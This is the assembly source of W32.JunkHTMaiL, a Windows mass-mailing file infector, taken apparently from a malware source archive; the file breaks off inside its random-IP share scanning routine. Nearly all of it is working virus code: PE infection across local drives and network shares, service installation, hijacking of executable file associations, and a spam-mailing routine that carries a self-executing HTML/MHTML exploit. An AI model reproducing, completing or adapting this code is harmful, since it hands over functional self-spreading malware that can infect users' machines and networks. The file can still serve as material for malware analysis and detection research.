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vxug-MalwareSourceCode/Win32/Win32.Junkhtmail.asm
vxunderground 3cac606e5f
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2020-10-10 22:07:43 -05:00

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comment ;)
W32.JunkHTMaiL by roy g biv (thanks to RT Fishel for previous contribution)
some of its features:
- parasitic resident (own process) infector of PE exe (but not looking at suffix)
- infects files in all directories on all fixed and network drives and network shares
- directory traversal is linked-list instead of recursive to reduce stack size
- enumerates shares on local network and also random IP addresses
- reloc section inserter/last section appender
- runs as service in NT/2000/XP and service process in 9x/Me
- hooks all executable shell\open\command values
- slow mailer using polymorphic mail headers and self-executing HTML
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are never altered (virus is self-modifying but runs in writable memory)
- no infect files with data outside of image (eg self-extractors)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
- plus some new code optimisations that were never seen before W32.EfishNC :)
yes, just a W32.JunkMail remake with a different exploit
---
optimisation tip: Windows appends ".dll" automatically, so this works:
push "cfs"
push esp
call LoadLibraryA
---
to build this thing:
tasm
----
tasm32 /ml /m3 junkhtml
tlink32 /B:400000 /x junkhtml,,,import32
Virus is not self-modifying, so no need to alter section attributes
---
We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)
(;
.486
.model flat
extern GlobalAlloc:proc
extern CreateFileA:proc
extern GetFileSize:proc
extern GetModuleFileNameA:proc
extern ReadFile:proc
extern WriteFile:proc
extern CloseHandle:proc
extern GlobalFree:proc
extern GetCurrentProcess:proc
extern WriteProcessMemory:proc
extern MessageBoxA:proc
extern ExitProcess:proc
.data
;to alter the text here, set compress_only to not-zero then run
;in that case, the compressed text is written to a file only
compress_only equ 0
ife compress_only
;must be reverse alphabetical order because they are stored on stack
;API names are not present in replications, only in dropper
expnames db "WriteFile" , 0
db "WinExec" , 0
db "SetFileAttributesA" , 0
db "MoveFileA" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetWindowsDirectoryA", 0
db "GetTickCount" , 0
db "GetTempFileNameA" , 0
db "GetFileAttributesA" , 0
db "GetCurrentProcess" , 0
db "DeleteFileA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
regnames db "RegSetValueA" , 0
db "OpenSCManagerA" , 0
db "CreateServiceA" , 0
db "CloseServiceHandle", 0
exenames db "LoadLibraryA" , 0
db "GlobalAlloc" , 0
db "GetVersion" , 0
db "GetTickCount" , 0
db "GetStartupInfoW", 0
db "GetStartupInfoA", 0
db "GetCommandLineW", 0
db "GetCommandLineA", 0
db "ExitProcess" , 0
db "CreateProcessW" , 0
db "CreateProcessA" , 0
usrnames db "CharNextW", 0
db "CharNextA", 0
svcnames db "StartServiceCtrlDispatcherA", 0
krnnames db "lstrlenW" , 0
db "lstrcpyW" , 0
db "lstrcatW" , 0
db "UnmapViewOfFile" , 0
db "Sleep" , 0
db "SetFileTime" , 0
db "SetFileAttributesW" , 0
db "SetFileAttributesA" , 0
db "SetCurrentDirectoryW" , 0
db "SetCurrentDirectoryA" , 0
db "ReadFile" , 0
db "MultiByteToWideChar" , 0
db "MapViewOfFile" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetVersion" , 0
db "GetTickCount" , 0
db "GetModuleFileNameA" , 0
db "GetFullPathNameW" , 0
db "GetFullPathNameA" , 0
db "GetFileSize" , 0
db "GetDriveTypeA" , 0
db "FindNextFileW" , 0
db "FindNextFileA" , 0
db "FindFirstFileW" , 0
db "FindFirstFileA" , 0
db "FindClose" , 0
db "CreateThread" , 0
db "CreateFileW" , 0
db "CreateFileMappingA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
sfcnames db "SfcIsFileProtected", 0
ws2names db "socket" , 0
db "send" , 0
db "gethostbyname", 0
db "connect" , 0
db "WSAStartup" , 0
netnames db "WNetOpenEnumW" , 0
db "WNetOpenEnumA" , 0
db "WNetEnumResourceW", 0
db "WNetEnumResourceA", 0
db "WNetCloseEnum" , 0
ip9xnames db "NetShareEnum", 0
ipntnames db "NetShareEnum" , 0
db "NetApiBufferFree", 0
endif
;only 0dh is required for new line, since 0ah is appended by decompressor
user1 equ ' '
user2 equ '/'
user3 equ ':' ;the three most frequent characters
smtp1 db offset smtp2 - offset $ - 2, "HELO ", 0
smtp2 db offset smtp3 - offset $ - 2, "MAIL FROM:<>", 0dh, 0
smtp3 db offset smtp4 - offset $ - 2, "RCPT TO:", 0
smtp4 db offset header1 - offset $ - 2, "DATA", 0dh, 0
header1 db offset header2 - offset $ - 2, "FROM: ", 0
header2 db offset header31 - offset $ - 2, "SUBJECT: Wanna see a e-mail exploit?", 0
header31 db offset header32 - offset $ - 2, 0dh, "MIME-VERSION:", 0
header32 db offset part11 - offset $ - 2, "1.0", 0
part11 db offset part12 - offset $ - 2, "CONTENT-TYPE:", 0
part12 db offset part13 - offset $ - 2, "MULTIPART/MIXED;", 0
part13 db offset body1 - offset $ - 2, " BOUNDARY=", 0
body1 db offset body2 - offset $ - 1
db 0dh, "Just click the attachment", 0dh
body2 db offset body3 - offset $ - 1
db "If the attachment is blocked by Outlook 2002 then see", 0dh
body3 db offset body4 - offset $ - 1
db "http://support.microsoft.com/support/kb/articles/q290/4/97.asp", 0dh
body4 db 0
part21 db offset part22 - offset $ - 2, "TEXT/PLAIN;", 0
part22 db offset part23 - offset $ - 2, " NAME=EMAIL.HTM", 0
part23 db offset part24 - offset $ - 2, 0dh, "CONTENT-TRANSFER-ENCODING:", 0
part24 db offset part25 - offset $ - 2, "QUOTED-PRINTABLE", 0
part25 db offset part26 - offset $ - 2, 0dh, "CONTENT-DISPOSITION:", 0
part26 db offset part27 - offset $ - 2, "ATTACHMENT", 0
part27 db offset part28 - offset $ - 2, "CONTENT-LOCATION:FILE:///.EXE", 0
part28 db offset part31 - offset $ - 2, "BASE64", 0
;just a bit too long for a single line... unless you remove the "moveBy"...
part31 db offset part32 - offset $ - 1, 0dh, "<SCRIPT>moveBy(9999);with(document)write(", 22h, "<OBJECT CLASSID='CLSID:1BADDEED'"
part32 db offset part41 - offset $ - 2, "CODEBASE='MHTML:", 22h, "+URL+", 22h, "!FILE:///.EXE'></OBJECT>", 22h, ")</SCRIPT>", 0
part41 db offset part42 - offset $ - 2, ".", 0dh, 0
part42 db offset part43 - offset $ - 2, "QUIT", 0dh, 0
part43 equ $
include junkhtml.inc
txttitle db "JunkHTMaiL", 0
if compress_only
txtbody db "compress done", 0
else
txtbody db "running...", 0
patch_host label near
pop ecx
push ecx
call $ + 5
pop eax
add eax, offset host_patch - offset $ + 6
sub ecx, eax
push ecx
mov eax, esp
xor edi, edi
push edi
push 4
push eax
push offset host_patch + 1
push esi
call WriteProcessMemory
jmp junkhtml_inf
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;virus code begins here in infected files
;-----------------------------------------------------------------------------
junkhtml_inf proc near
pushad
call walk_seh
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
expcrcbegin label near ;place < 80h bytes from call for smaller code
dd (expcrc_count + 1) dup (0)
expcrcend label near
dd offset drop_exp - offset expcrcend + 4
db "JunkHTMaiL - roy g biv" ;spam just got harder to remove ;)
walk_seh label near
xor esi, esi
lods dword ptr fs:[esi]
inc eax
seh_loop label near
dec eax
xchg esi, eax
lods dword ptr [esi]
inc eax
jne seh_loop
lods dword ptr [esi]
;-----------------------------------------------------------------------------
;moved label after some data because "e800000000" looks like virus code ;)
;-----------------------------------------------------------------------------
init_findmz label near
inc eax
xchg edi, eax
find_mzhdr label near
;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------
dec edi ;sub 64kb
xor di, di ;64kb align
call is_pehdr
jne find_mzhdr
mov ebx, edi
pop edi
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
lea esi, dword ptr [ebx + esi + peexp.expordbase]
lods dword ptr [esi] ;Ordinal Base
lea ebp, dword ptr [eax * 2 + ebx]
lods dword ptr [esi]
lods dword ptr [esi]
lods dword ptr [esi] ;Export Address Table RVA
lea edx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Name Pointer Table RVA
add ebp, dword ptr [esi] ;Ordinal Table RVA
lea ecx, dword ptr [ebx + eax]
mov esi, ecx
push_export label near
push ecx
get_export label near
lods dword ptr [esi]
push ebx
add ebx, eax ;Name Pointer VA
or eax, -1
crc_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
crc_inner label near
add eax, eax
jnb crc_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
crc_skip label near
loop crc_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb crc_outer
pop ebx
cmp dword ptr [edi], eax
jne get_export
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
pop ecx
mov eax, esi
sub eax, ecx ;Name Pointer Table VA
shr eax, 1
movzx eax, word ptr [ebp + eax - 4] ;get export ordinal
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
add eax, ebx
push eax
scas dword ptr [edi]
cmp dword ptr [edi], 0
jne push_export
add edi, dword ptr [edi + 4]
jmp edi
dispname label near
db "ExpIorer", 0
explabel label near
db "ExpIorer.exe", 0
expsize equ 0d4h
;RLE-based compressed MZ header, PE header, import table, section table
;execution continues immediately after compressed data. be careful ;)
dd 11111111110000011100001011100000b
; mmmmmmmmmmz 01mmz 02mmm
db 'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1
dd 00000110000111100001001010010000b
; z 01mz 03mmz 02r 04m
db 2, 2ch, 10h, 88h
dd 00000111110100100001001000111110b
; z 01mmmmr 02z 04mz 07mm
db 0fh, 3, 0bh, 1, 56h, (offset junkhtml_exe - offset junkhtml_inf + expsize) and 0ffh, ((junkhtml_exe - offset junkhtml_inf + expsize + 1000h) shr 8) and 0ffh
dd 00001001010010001011000010100001b
; z 02r 04mz 05mz 02mz 02
db 0ch, 40h, 10h
dd 00000110000101010111100001111100b
; z 01mz 02mr 07mz 03mmm
db 2, 1, 4, "Arc"
dd 00001010000101000111100000101001b
; z 02mz 03mz 07mz 01r 02
db ((junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1fffh) and not 0fffh) shr 8, expsize, 2
dd 10000111000011100001110000110101b
; mz 03mz 03mz 03mz 03r 04
db 1, 1, 1, 1
dd 10001110101001100101001111001111b
; mz 07r 04mmz 0ar 0er 0e
db 2, 8, 10h
dd 00010110000111000010100001101100b
; z 05mz 03mz 02mz 03r 08
db 10h, ((junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1ffh) and not 1ffh) shr 8, 1
dd 00011110000000000000000000000000b
; z 07m
db 0e0h
dd 0
;decompressed data follow. 'X' bytes are set to random value every time
; db 'M', 'Z' ;00
; db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA)
; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp)
; dw 14ch ;10 04 machine (overload for forwarder chain)
; dw 1 ;12 06 number of sections (overload for forwarder chain)
; dd 2 ;14 08 date/time stamp (overload for dll name RVA)
; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA)
; db X, X, X, X ;1c 10 number of symbols
; dw 88h ;20 14 size of optional header
; dw 30fh ;22 16 characteristics
; dw 10bh ;24 18 magic
; db X ;26 1a major linker
; db X ;27 1b minor linker
; dd 0 ;28 1c size of code (overload for import table terminator)
; dd 56h ;2c 20 size of init data (overload for import name table RVA)
; dd 0 ;30 24 size of uninit data (overload for import name table terminator)
; dd offset junkhtml_exe - offset junkhtml_inf + expsize + 1000h
; ;34 28 entry point
; db X, X, X, X ;38 2c base of code
; dd 0ch ;3c 30 base of data (overload for lfanew)
; dd 400000h ;40 34 image base
; dd 1000h ;44 38 section align
; dd 200h ;48 3c file align
; db 1, X ;4c 40 major os
; db X, X ;4e 42 minor os
; db X, X ;50 44 major image
; db X, X ;52 46 minor image
; dw 4 ;54 48 major subsys
; dw 0 ;56 4a minor subsys (overload for import name table)
; db "Arc", 0 ;58 4c reserved (overload for import name table)
; dd (aligned size of code) ;5c 50 size of image
; dd expsize ;60 54 size of headers
; dd 0 ;64 58 checksum
; dw 2 ;68 5c subsystem
; db X, X ;6a 5e dll characteristics
; dd 1 ;6c 60 size of stack reserve
; dd 1 ;70 64 size of stack commit
; dd 1 ;74 68 size of heap reserve
; dd 1 ;78 6c size of heap commit
; db X, X, X, X ;7c 70 loader flags
; dd 2 ;80 74 number of rva and sizes (ignored by Windows 9x/Me)
; dd 0 ;84 78 export
; db X, X, X, X ;88 7c export
; dd 1008h ;8c 80 import
; dd 0 ;90 84 import
; dd 0 ;94 88 resource
; db X, X, X, X ;98 8c resource
; db X, X, X, X, X, X, X, X ;9c 90 exception
; db X, X, X, X, X, X, X, X ;a4 98 certificate
; db X, X, X, X, X, X, X, X ;ac a0 base reloc (overload for section name)
; dd 0 ;b4 a8 debug (overload for virtual size)
; dd 1000h ;b8 ac debug (overload for virtual address)
; dd (aligned size of code) ;bc b0 architecture (overload for file size)
; dd 1 ;c0 b4 architecture (overload for file offset)
; db X, X, X, X ;c4 b8 global data (overload for pointer to relocs)
; db X, X, X, X ;c8 bc global data (overload for pointer to line numbers)
; dd 0 ;cc c0 tls (overload for reloc table and line numbers)
; dd 0e0000000h ;d0 c4 tls (overload for section characteristics)
; ;d4
drop_exp label near
mov ebx, esp
lea esi, dword ptr [edi + offset explabel - offset drop_exp]
mov edi, offset junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1ffh
;file size must be > end of last section
push edi
xor ebp, ebp ;GMEM_FIXED
push ebp
call dword ptr [ebx + expcrcstk.pGlobalAlloc]
push eax ;GlobalFree
push ebp ;WriteFile
push esp ;WriteFile
push edi ;WriteFile
push ebp ;CreateFileA
push FILE_ATTRIBUTE_HIDDEN ;CreateFileA
push CREATE_ALWAYS ;CreateFileA
push ebp ;CreateFileA
push ebp ;CreateFileA
push GENERIC_WRITE ;CreateFileA
push eax ;CreateFileA
lea ecx, dword ptr [eax + 7fh]
push ecx ;MoveFileA
push eax ;MoveFileA
push eax ;GetFileAttributesA
push ebp ;SetFileAttributesA
push eax ;SetFileAttributesA
push ecx ;DeleteFileA
push ecx ;GetTempFileNameA
push ebp ;GetTempFileNameA
push esp ;GetTempFileNameA
push eax ;GetTempFileNameA
push edi ;GetWindowsDirectoryA
push eax ;GetWindowsDirectoryA
xchg ebp, eax
call dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA]
lea edi, dword ptr [ebp + eax - 1]
call dword ptr [ebx + expcrcstk.pGetTempFileNameA]
call dword ptr [ebx + expcrcstk.pDeleteFileA]
mov al, '\'
scas byte ptr [edi]
je skip_slash
stos byte ptr [edi]
;-----------------------------------------------------------------------------
;append exe name, assumes name is 0dh bytes long
;-----------------------------------------------------------------------------
skip_slash label near
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs byte ptr [edi], byte ptr [esi]
;-----------------------------------------------------------------------------
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
;-----------------------------------------------------------------------------
call dword ptr [ebx + expcrcstk.pSetFileAttributesA]
call dword ptr [ebx + expcrcstk.pGetFileAttributesA]
test al, FILE_ATTRIBUTE_DIRECTORY
pop ecx
pop eax
je skip_move
push eax
push ecx
call dword ptr [ebx + expcrcstk.pMoveFileA]
skip_move label near
call dword ptr [ebx + expcrcstk.pCreateFileA]
push edi ;WriteFile
push ebx
xchg ebp, eax
call dword ptr [ebx + expcrcstk.pGetTickCount]
xchg ebx, eax
xor ecx, ecx
;-----------------------------------------------------------------------------
;decompress MZ header, PE header, section table, import table
;-----------------------------------------------------------------------------
lods dword ptr [esi]
copy_bytes label near
movs byte ptr [edi], byte ptr [esi]
test_bits label near
add eax, eax
jb copy_bytes
add eax, eax
sbb dl, dl
shld ecx, eax, 4
shl eax, 4
xchg edx, eax
rep stos byte ptr [edi]
xchg edx, eax
jne test_bits
lods dword ptr [esi]
test eax, eax
jne test_bits
mov cx, offset mail_recip - offset junkhtml_inf
sub esi, offset drop_exp - offset junkhtml_inf
rep movs byte ptr [edi], byte ptr [esi]
mov al, "'"
stos byte ptr [edi]
pop ebx
push ebp
call dword ptr [ebx + expcrcstk.pWriteFile]
push ebp
call dword ptr [ebx + expcrcstk.pCloseHandle]
pop eax
push eax
inc ebp
je load_regdll ;allow only 1 copy to run
push 0
push eax
call dword ptr [ebx + expcrcstk.pWinExec]
load_regdll label near
sub esi, offset mail_recip - offset regdll
push esi
call dword ptr [ebx + expcrcstk.pLoadLibraryA]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
regcrcbegin label near ;place < 80h bytes from call for smaller code
dd (regcrc_count + 1) dup (0)
regcrcend label near
dd offset reg_file - offset regcrcend + 4
regval db 'ExpIorer "%1" %*', 0
regkey db "\com" ;no regedit.com ;)
db "\exe" ;must be 4 bytes long
db "\pif" ;hook all executable suffix (except .scr which passes /S)
reg_file label near ;must follow immediately
mov ebx, esp
mov ecx, HKEY_LOCAL_MACHINE ;can obfuscate and same size if push 5+pop ecx+ror ecx, 1
;-----------------------------------------------------------------------------
;alter Software\Classes in Local Machine and Current User
;because in Windows 2000/XP, Current User values override Local Machine values
;-----------------------------------------------------------------------------
reg_loopouter label near
lea ebp, dword ptr [edi + offset regval - offset reg_file]
sub edi, offset reg_file - offset regkey
push (offset reg_file - offset regkey) shr 2
pop esi
reg_loopinner label near
push ecx
push "dna"
push "mmoc"
push "\nep"
push "o\ll"
push "ehs\"
push "elif"
push dword ptr [edi] ;comfile, exefile, piffile
push "sess"
push "alc\"
push "eraw"
push "tfos" ;obfuscated ;)
mov eax, esp
push offset regkey - offset regval
push ebp
push REG_SZ
push eax
push ecx
call dword ptr [ebx + regcrcstk.rRegSetValueA]
;RegSetValue creates keys
add esp, 2ch ;size software\classes\???file\shell\open\command
scas dword ptr [edi]
pop ecx
dec esi
jne reg_loopinner
loopw reg_loopouter ;decrements CX only
;-----------------------------------------------------------------------------
;register as service if NT/2000/XP (recognised but ignored by 9x/Me)
;no start service because code is running already
;-----------------------------------------------------------------------------
push SC_MANAGER_CREATE_SERVICE
push esi
push esi
call dword ptr [ebx + regcrcstk.rOpenSCManagerA]
mov ecx, dword ptr [ebx + size regcrcstk]
push ecx
push eax
push esi
push esi
push esi
push esi
push esi
push ecx
push esi ;SERVICE_ERROR_IGNORE
push SERVICE_AUTO_START
push SERVICE_WIN32_OWN_PROCESS
push esi
sub edi, offset reg_file - offset dispname
push edi
add edi, offset explabel - offset dispname
push edi
push eax
call dword ptr [ebx + regcrcstk.rCreateServiceA]
push eax
call dword ptr [ebx + regcrcstk.rCloseServiceHandle]
call dword ptr [ebx + regcrcstk.rCloseServiceHandle]
call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGlobalFree]
popad
host_patch label near
db 0e9h, 'rgb!'
;-----------------------------------------------------------------------------
;virus code begins here in dropped exe
;-----------------------------------------------------------------------------
junkhtml_exe label near
call walk_seh
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
execrcbegin label near ;place < 80h bytes from call for smaller code
dd (execrc_count + 1) dup (0)
execrcend label near
dd offset load_user32 - offset execrcend + 4
load_user32 label near
call skip_user32
db "user32", 0
skip_user32 label near
call dword ptr [esp + execrcstk.eLoadLibraryA + 4]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
usrcrcbegin label near ;place < 80h bytes from call for smaller code
dd (usrcrc_count + 1) dup (0)
usrcrcend label near
dd offset get_cmdline - offset usrcrcend + 4
;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------
get_cmdline label near
mov ebx, esp
call dword ptr [ebx + size usrcrcstk + execrcstk.eGetVersion]
shr eax, 1fh
lea esi, dword ptr [eax * 4 + ebx]
;-----------------------------------------------------------------------------
;RegisterServiceProcess() if 9x/Me (just sets one bit)
;-----------------------------------------------------------------------------
mov ecx, dword ptr fs:[tib.TibTeb]
or byte ptr [ecx + teb.procflags + 1], al
;-----------------------------------------------------------------------------
;parse command-line in platform-independent way to see how file was run
;-----------------------------------------------------------------------------
dec ax
mov al, 0ffh
xchg edi, eax ;ffff if Unicode, 00ff if ANSI
mov eax, dword ptr [esi + usrcrcstk.uCharNextW]
mov dword ptr ds:[offset store_charnext - offset junkhtml_inf + expsize + 401001h], eax
call dword ptr [esi + size usrcrcstk + execrcstk.eGetCommandLineW]
stack_delta label near
mov ebp, dword ptr [eax]
and ebp, edi
cmp ebp, '"' ;Unicode-compatible compare
je skip_argv0
push ' '
pop ebp
skip_argv0 label near
push eax
call dword ptr [esi + usrcrcstk.uCharNextW]
mov ecx, dword ptr [eax]
and ecx, edi
je argv1_skip
cmp ecx, ebp
jne skip_argv0
find_argv1 label near
push eax
call dword ptr [esi + usrcrcstk.uCharNextW]
mov ecx, dword ptr [eax]
and ecx, edi
cmp ecx, ' ' ;Unicode-compatible compare
je find_argv1
argv1_skip label near
;-----------------------------------------------------------------------------
;if argv1 exists then argv0 was run using shell\open\command so run argv1
;-----------------------------------------------------------------------------
jecxz stack_copy
sub esp, size processinfo
mov edx, esp
sub esp, size startupinfo
mov ecx, esp
push edx
push ecx
xor edx, edx
push edx
push edx
push edx
push edx
push edx
push edx
push eax
push edx
push ecx
call dword ptr [esi + size usrcrcstk + execrcstk.eGetStartupInfoW]
call dword ptr [esi + size usrcrcstk + execrcstk.eCreateProcessW]
call dword ptr [ebx + size usrcrcstk + execrcstk.eExitProcess]
;-----------------------------------------------------------------------------
;allocate stack space for RNG cache
;-----------------------------------------------------------------------------
stack_copy label near
mov ebx, dword ptr [ebx + size usrcrcstk.execrcstk.eGetTickCount]
call ebx ;RNG seed
enter (statelen + 1) shl 2, 0 ;RNG cache
mov edi, esp
call randinit
mov edi, ebx
call find_mzhdr
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
krncrcbegin label near ;place < 80h bytes from call for smaller code
dd (krncrc_count + 1) dup (0)
krncrcend label near
dd offset swap_create - offset krncrcend + 4
;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------
swap_create label near
mov dword ptr ds:[offset store_krnapi - offset junkhtml_inf + expsize + 401003h], esp
mov ebx, esp
mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax
mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax
;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------
call load_sfc
db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll)
load_sfc label near
call cLoadLibraryA
test eax, eax
jne found_sfc
push 'cfs' ;Windows Me/2000
push esp
call cLoadLibraryA
pop ecx
test eax, eax
je sfcapi_esp
found_sfc label near
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
sfccrcbegin label near ;place < 80h bytes from call for smaller code
dd (sfccrc_count + 1) dup (0)
sfccrcend label near
dd offset sfcapi_pop - offset sfccrcend + 4
sfcapi_pop label near
pop eax
sfcapi_esp label near
mov dword ptr ds:[offset store_sfcapi - offset junkhtml_inf + expsize + 401001h], eax
;-----------------------------------------------------------------------------
;get rest of APIs required for network thread
;-----------------------------------------------------------------------------
push 'rpm'
push esp
call cLoadLibraryA
pop ecx
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
netcrcbegin label near ;place < 80h bytes from call for smaller code
dd (netcrc_count + 1) dup (0)
netcrcend label near
dd offset netapi_esp - offset netcrcend + 4
netapi_esp label near
mov eax, dword ptr [esp + netcrcstk.nWNetCloseEnum - netcrcstk.nWNetOpenEnumW]
mov dword ptr [edi + offset store_netapi - offset netapi_esp + 1], eax
;-----------------------------------------------------------------------------
;initialise service table if NT/2000/XP
;-----------------------------------------------------------------------------
call cGetVersion
shr eax, 1fh
jne svc_main ;no service if 9x/Me
push eax
push eax
mov eax, offset regdll - offset junkhtml_inf + expsize + 401000h
push eax
call cLoadLibraryA
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
svccrcbegin label near ;place < 80h bytes from call for smaller code
dd (svccrc_count + 1) dup (0)
svccrcend label near
dd offset start_disp - offset svccrcend + 4
start_disp label near
pop eax
mov ecx, esp
add edi, offset svc_main - offset start_disp
push edi
push ecx
push esp
call eax ;does not return if service launch
add esp, size SERVICE_TABLE_ENTRY ;fix stack if app launch
svc_main label near
push eax
push esp
xor esi, esi
push esi
push esi
call create_thr1
;-----------------------------------------------------------------------------
;thread 1: infect files on all fixed and remote drive letters
;-----------------------------------------------------------------------------
find_drives proc near
mov eax, '\:A' ;NEC-PC98 uses A: for boot drive which can be hard disk
drive_loop label near
push eax
push esp
push (krncrcstk.kGetDriveTypeA - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
sub al, DRIVE_FIXED
je drive_set
xchg ecx, eax
loop drive_next ;loop if not DRIVE_REMOTE
drive_set label near
push esp
call cSetCurrentDirectoryA
call find_files
drive_next label near
pop eax
inc eax
cmp al, 'Z' + 1
jne drive_loop
push 60 * 60 * 1000 ;1 hour
call cSleep
jmp find_drives
find_drives endp
create_thr1 label near
push esi
push esi
call cCreateThread
push esp
push esi
push esi
call create_thr2
;-----------------------------------------------------------------------------
;thread 2: find files on network shares using non-recursive algorithm
;-----------------------------------------------------------------------------
call get_krnapis
find_wnet proc near
xor ebx, ebx ;previous handle
xor esi, esi ;previous node
xor edi, edi ;previous buffer
wnet_open label near
push eax
push esp
push edi
push 0
push RESOURCETYPE_DISK
push RESOURCE_GLOBALNET
call dword ptr [ebp + netcrcstk.nWNetOpenEnumW - size netcrcstk]
push eax
push edi
call cGlobalFree
pop ecx
pop edi
inc ecx
loop wnet_next
push size wnetlist
push ecx ;GMEM_FIXED
call cGlobalAlloc
mov dword ptr [eax + wnetlist.wnetprev], esi
mov dword ptr [eax + wnetlist.wnethand], ebx
xchg esi, eax
mov ebx, edi
wnet_next label near
push 1
mov eax, esp
push eax
push esp
push eax
push ebx
call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
pop edi
sub al, ERROR_MORE_DATA
jne wnet_close
push edi
push eax ;GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz wnet_close
push edi
mov eax, esp
push 1
mov edx, esp
push eax
push ecx
push edx
push ebx
mov edi, ecx
call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
pop ecx
pop ecx
test eax, eax
jne wnet_free
test byte ptr [edi + NETRESOURCE.dwUsage], RESOURCEUSAGE_CONTAINER
jne wnet_open
push dword ptr [edi + NETRESOURCE.lpRemoteName]
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
xchg ecx, eax
jecxz wnet_skipdir
;I'm alone here
;with emptiness eagles and snow.
;Unfriendliness chilling my body
;and taunting with pictures of home.
;(Deep Purple)
call find_files
wnet_skipdir label near
xor eax, eax
wnet_free label near
push eax
push edi
call cGlobalFree
pop ecx
jecxz wnet_next
wnet_close label near
push ebx
store_netapi label near
mov eax, '!bgr'
call eax ;WNetCloseEnum
mov ecx, dword ptr [esi + wnetlist.wnetprev]
jecxz wnet_exit
mov ebx, dword ptr [esi + wnetlist.wnethand]
push esi
mov esi, ecx
call cGlobalFree
jmp wnet_next
wnet_exit label near
push 120 * 60 * 1000 ;2 hours
call cSleep
jmp find_wnet
find_wnet endp
create_thr2 label near
push esi
push esi
call cCreateThread
push esp
push esi
push esi
call create_thr3
;-----------------------------------------------------------------------------
;thread 3: find files on random IP address shares using non-recursive algorithm
;(alter class A: 25%, class b: 25%, class c: 25%, class d: scan all)
;-----------------------------------------------------------------------------
call cGetVersion
test eax, eax
mov eax, 'aten'
mov ecx, '23ip' ;"netapi32" (NT/2000/XP)
jns ip_loaddll
mov eax, 'arvs'
movzx ecx, cx ;"svrapi" (9x/Me)
ip_loaddll label near
pushfd
push 0
push ecx
push eax
push esp
call cLoadLibraryA
add esp, 0ch
popfd
jns ip_getprocnt
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
ip9xcrcbegin label near ;place < 80h bytes from call for smaller code
dd (ip9xcrc_count + 1) dup (0)
ip9xcrcend label near
dd offset ip_share - offset ip9xcrcend + 4
ip_getprocnt label near
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
ipntcrcbegin label near ;place < 80h bytes from call for smaller code
dd (ipntcrc_count + 1) dup (0)
ipntcrcend label near
dd offset ip_share - offset ipntcrcend + 4
ip_share label near
call random
xchg ebp, eax ;initial IP address
find_ip proc near
call random
and al, 18h
je find_ip ;select class A-C only
xchg ecx, eax
xor eax, eax
mov al, 0ffh
shl eax, cl ;select random class
and ecx, eax ;isolate new class
not eax
and ebx, eax ;remove old class
or ebx, ecx ;insert new class
